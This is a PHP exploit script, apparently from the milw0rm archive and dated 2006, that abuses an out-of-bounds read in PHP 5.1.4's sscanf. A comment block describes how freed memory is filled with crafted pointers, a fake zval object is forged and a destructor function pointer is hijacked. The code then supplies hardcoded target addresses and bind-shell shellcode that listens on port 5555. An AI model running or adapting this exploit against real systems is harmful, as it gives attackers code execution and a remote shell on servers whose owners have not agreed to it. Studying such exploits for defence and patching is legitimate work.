<?php
/*
Author: Heintz
Date: 4-th august 2006
Greets:
Waraxe from www.waraxe.us
All buds at www.plain-text.info
Torufoorum
ext/standard/scanf.c line ~887
---
if (numVars) {
current = args[objIndex++];
---
objIndex points past the end of array in other format cases too
when php-s sscanf-s format argument contains argument swap
and extra arguments are given like.
sscanf('foo ','$1s',$bar) then it reads an pointer to pointer to
zval structure past the end of argument array by one.
This exploit first fills php internally cached memory with address of pointer
to writable segment. Then by unsetting the variable it frees memory, but does not
zero it, so this way we pass our own pointers to sscanf.
Now sscanf allocated array has valid element one past the array,
sscanf tries to call a function to destruct zval structure.
if its 15-th byte isnt anything valid it will default to doing nothing
and will continue without errors and returns;
sscanf now sets the structure to be of type string and writes
pointer to string (it matched from our first argument to sscanf) and strings
length to a structure-s value union. the strings address is written to first 4 bytes
of structure.
knowing this we construct our own binary zval structure of type object. + shellcode + space
to match format. So now we have successfully called sscanf for the first time
and we got something like ptrptr->ptr->zval-of-type-string in memory
zval-of-type-string first 4 bytes point to our object we passed as argument.
so now we fill the internal cached memory with just pointer to zval. and free it.
when sscanf reads the pointer this time it now moves upwards one level but still
dereferences twice. thus acts upon our zval structure of type object.
when the destructor function now sees the zval is an object it will read
a pointer from our structure to another structure which supposed to contain function
pointers. it will call whatever the 2-cond element points to. all elements are 4 bytes long
thus address pointed to by structures offset 4 is called.
when we give it our ptr-to-zval - 4
it will add 4 bytes to it and dereference it an call whatever is there. and
there is address to our constructed zval object so we are executing code
from the beginning of our structure. eip-hop-over will help us through
unwanted bytes and we are on our way executing our shellcode.
*/
// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro
// $ptr_to_ptr_to_zval = "\x10\x43\x54\xCC";
// $ptr_to_zval = "\x10\x43\x54\xB0";
// $ptr_to_obj_handlers = "\x10\x43\x54\xAC"; // $ptr_to_zval-4
// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,
// kernel 2.6.14-hardened-r3
$ptr_to_ptr_to_zval = "\x08\x1A\x64\xC8";
$ptr_to_zval = "\x08\x1A\x60\x0C";
$ptr_to_obj_handlers = "\x08\x1A\x60\x08"; // $ptr_to_zval-4
// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes
$eip_hop_over = "\x90\x90\x90\xB8";
# linux_ia32_bind - LPORT=5555 Size=108 Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xef".
"\x57\xe6\x92\x83\xeb\xfc\xe2\xf4\xde\x8c\xb5\xd1\xbc\x3d\xe4\xf8".
"\x89\x0f\x7f\x1b\x0e\x9a\x66\x04\xac\x05\x80\xfa\xfa\xe4\x80\xc1".
"\x66\xb6\x8c\xf4\xb7\x07\xb7\xc4\x66\xb6\x2b\x12\x5f\x31\x37\x71".
"\x22\xd7\xb4\xc0\xb9\x14\x6f\x73\x5f\x31\x2b\x12\x7c\x3d\xe4\xcb".
"\x5f\x68\x2b\x12\xa6\x2e\x1f\x22\xe4\x05\x8e\xbd\xc0\x24\x8e\xfa".
"\xc0\x35\x8f\xfc\x66\xb4\xb4\xc1\x66\xb6\x2b\x12";
if(bin2hex(pack('S',0x0010))!="0010")
{ // small endian conversion
$t = $ptr_to_ptr_to_zval;
$ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};
$t = $ptr_to_zval;
$ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};
$t = $ptr_to_obj_handlers;
$ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0};
}
$object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.
"\x05\x01\x90\x90".$shellcode."\xC3\x90\x90\x20";
$str = str_repeat($ptr_to_ptr_to_zval,20);
unset($str);
sscanf(
$object_zval,
'%1$s',
$str);
putenv("PHP_foo=".str_repeat($ptr_to_zval,64));
putenv("PHP_foo=");
sscanf(
"a ",
'%1$s',
$str);
?>
# milw0rm.com [2006-08-08]
